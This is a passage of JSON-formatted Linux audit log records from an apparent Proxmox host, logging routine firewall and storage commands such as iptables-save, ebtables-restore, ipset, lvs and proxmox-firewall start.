proctitle=\"iptables-save\""} {"@timestamp":1781965829456,"@rawstring":"node=pve type=PATH msg=audit(1781965829.456:67281): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955544,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.544:67827): proctitle=\"ip6tables-save\""} {"@timestamp":1781965829447,"@rawstring":"node=pve type=PATH msg=audit(1781965829.447:67280): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955535,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.535:67826): proctitle=\"iptables-save\""} {"@timestamp":1781965829447,"@rawstring":"node=pve type=PATH msg=audit(1781965829.447:67280): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955532,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.532:67825): proctitle=\"ebtables-restore\""} {"@timestamp":1781965829447,"@rawstring":"node=pve type=PATH msg=audit(1781965829.447:67279): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955529,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.529:67824): proctitle=\"ebtables-restore\""} {"@timestamp":1781965829447,"@rawstring":"node=pve type=PATH msg=audit(1781965829.447:67278): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955523,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.523:67823): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965825431,"@rawstring":"node=pve type=PATH msg=audit(1781965825.431:67277): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955516,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.516:67822): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965825431,"@rawstring":"node=pve type=PATH msg=audit(1781965825.431:67277): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955509,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.509:67821): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965825428,"@rawstring":"node=pve type=PATH msg=audit(1781965825.428:67276): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955502,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.502:67820): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965825428,"@rawstring":"node=pve type=PATH msg=audit(1781965825.428:67276): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955496,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.496:67819): proctitle=697073657400726573746F7265"} {"@timestamp":1781965825427,"@rawstring":"node=pve type=PATH msg=audit(1781965825.427:67275): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955489,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.489:67818): proctitle=\"ip6tables-save\""} {"@timestamp":1781965825427,"@rawstring":"node=pve type=PATH msg=audit(1781965825.427:67275): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955481,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.481:67817): proctitle=\"iptables-save\""} {"@timestamp":1781965825427,"@rawstring":"node=pve type=PATH msg=audit(1781965825.427:67274): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955477,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.477:67816): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965825422,"@rawstring":"node=pve type=PATH msg=audit(1781965825.422:67273): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955474,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.474:67815): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965825422,"@rawstring":"node=pve type=PATH msg=audit(1781965825.422:67273): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955473,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.473:67814): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965825422,"@rawstring":"node=pve type=PATH msg=audit(1781965825.422:67273): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955473,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.473:67813): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965825414,"@rawstring":"node=pve type=PATH msg=audit(1781965825.414:67272): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955468,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.468:67812): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965825414,"@rawstring":"node=pve type=PATH msg=audit(1781965825.414:67272): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955460,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.460:67811): proctitle=\"ip6tables-save\""} {"@timestamp":1781965825405,"@rawstring":"node=pve type=PATH msg=audit(1781965825.405:67271): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955452,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.452:67810): proctitle=\"iptables-save\""} {"@timestamp":1781965825405,"@rawstring":"node=pve type=PATH msg=audit(1781965825.405:67271): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955447,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.447:67809): proctitle=69707365740073617665"} {"@timestamp":1781965825399,"@rawstring":"node=pve type=PATH msg=audit(1781965825.399:67270): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955438,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.438:67808): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965825399,"@rawstring":"node=pve type=PATH msg=audit(1781965825.399:67270): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955429,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.429:67807): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965825391,"@rawstring":"node=pve type=PATH msg=audit(1781965825.391:67269): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965954893,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965954.893:67806): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965825391,"@rawstring":"node=pve type=PATH msg=audit(1781965825.391:67269): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965954893,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965954.893:67805): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965825384,"@rawstring":"node=pve type=PATH msg=audit(1781965825.384:67267): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965954893,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965954.893:67804): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965825384,"@rawstring":"node=pve type=PATH msg=audit(1781965825.384:67267): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965954887,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965954.887:67803): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965825378,"@rawstring":"node=pve type=PATH msg=audit(1781965825.378:67266): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965954887,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965954.887:67802): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965825378,"@rawstring":"node=pve type=PATH msg=audit(1781965825.378:67266): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965954887,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965954.887:67801): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965825370,"@rawstring":"node=pve type=PATH msg=audit(1781965825.370:67265): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965954656,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965954.656:67800): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965825370,"@rawstring":"node=pve type=PATH msg=audit(1781965825.370:67265): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965954616,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965954.616:67799): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965825364,"@rawstring":"node=pve type=PATH msg=audit(1781965825.364:67264): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965953016,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965953.016:67798): proctitle=2F7573722F62696E2F7065726C002F7573722F62696E2F7076657368002F6E6F6465732F7076652F3837372F7374617475732F63757272656E74"} {"@timestamp":1781965825364,"@rawstring":"node=pve type=PATH msg=audit(1781965825.364:67264): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965949880,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965949.880:67797): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965825357,"@rawstring":"node=pve type=PATH msg=audit(1781965825.357:67263): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965949880,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965949.880:67796): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965825357,"@rawstring":"node=pve type=PATH msg=audit(1781965825.357:67263): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965949880,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965949.880:67795): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965825352,"@rawstring":"node=pve type=PATH msg=audit(1781965825.352:67262): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965949872,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965949.872:67794): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965949872,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965949.872:67793): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965825352,"@rawstring":"node=pve type=PATH msg=audit(1781965825.352:67262): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965949872,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965949.872:67792): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965825344,"@rawstring":"node=pve type=PATH msg=audit(1781965825.344:67261): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945414,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.414:67791): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965825344,"@rawstring":"node=pve type=PATH msg=audit(1781965825.344:67261): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945411,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.411:67790): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965825337,"@rawstring":"node=pve type=PATH msg=audit(1781965825.337:67260): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945410,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.410:67789): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965825337,"@rawstring":"node=pve type=PATH msg=audit(1781965825.337:67260): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945410,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.410:67788): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965825332,"@rawstring":"node=pve type=PATH msg=audit(1781965825.332:67259): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945404,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.404:67787): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965825332,"@rawstring":"node=pve type=PATH msg=audit(1781965825.332:67259): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945397,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.397:67786): proctitle=\"ip6tables-save\""} {"@timestamp":1781965825329,"@rawstring":"node=pve type=PATH msg=audit(1781965825.329:67258): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945388,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.388:67785): proctitle=\"iptables-save\""} {"@timestamp":1781965825329,"@rawstring":"node=pve type=PATH msg=audit(1781965825.329:67258): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945378,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.378:67784): proctitle=\"ip6tables-save\""} {"@timestamp":1781965825328,"@rawstring":"node=pve type=PATH msg=audit(1781965825.328:67257): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945371,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.371:67783): proctitle=\"iptables-save\""} {"@timestamp":1781965825328,"@rawstring":"node=pve type=PATH msg=audit(1781965825.328:67257): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945367,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.367:67782): proctitle=\"ebtables-restore\""} {"@timestamp":1781965825328,"@rawstring":"node=pve type=PATH msg=audit(1781965825.328:67256): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945364,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.364:67781): proctitle=\"ebtables-restore\""} {"@timestamp":1781965825324,"@rawstring":"node=pve type=PATH msg=audit(1781965825.324:67255): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945357,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.357:67780): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965825324,"@rawstring":"node=pve type=PATH msg=audit(1781965825.324:67255): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945351,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.351:67779): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965825324,"@rawstring":"node=pve type=PATH msg=audit(1781965825.324:67255): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945345,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.345:67778): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965825317,"@rawstring":"node=pve type=PATH msg=audit(1781965825.317:67254): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945338,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.338:67777): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965825317,"@rawstring":"node=pve type=PATH msg=audit(1781965825.317:67254): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945331,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.331:67776): proctitle=697073657400726573746F7265"} {"@timestamp":1781965825306,"@rawstring":"node=pve type=PATH msg=audit(1781965825.306:67253): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945324,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.324:67775): proctitle=\"ip6tables-save\""} {"@timestamp":1781965825306,"@rawstring":"node=pve type=PATH msg=audit(1781965825.306:67253): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945316,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.316:67774): proctitle=\"iptables-save\""} {"@timestamp":1781965825300,"@rawstring":"node=pve type=PATH msg=audit(1781965825.300:67252): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945312,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.312:67773): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965825300,"@rawstring":"node=pve type=PATH msg=audit(1781965825.300:67252): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945310,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.310:67772): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965825291,"@rawstring":"node=pve type=PATH msg=audit(1781965825.291:67251): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945308,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.308:67771): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965825291,"@rawstring":"node=pve type=PATH msg=audit(1781965825.291:67251): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945308,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.308:67770): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965825282,"@rawstring":"node=pve type=PATH msg=audit(1781965825.282:67250): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945304,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.304:67769): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965825282,"@rawstring":"node=pve type=PATH msg=audit(1781965825.282:67250): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945297,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.297:67768): proctitle=\"ip6tables-save\""} {"@timestamp":1781965824754,"@rawstring":"node=pve type=PATH msg=audit(1781965824.754:67249): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 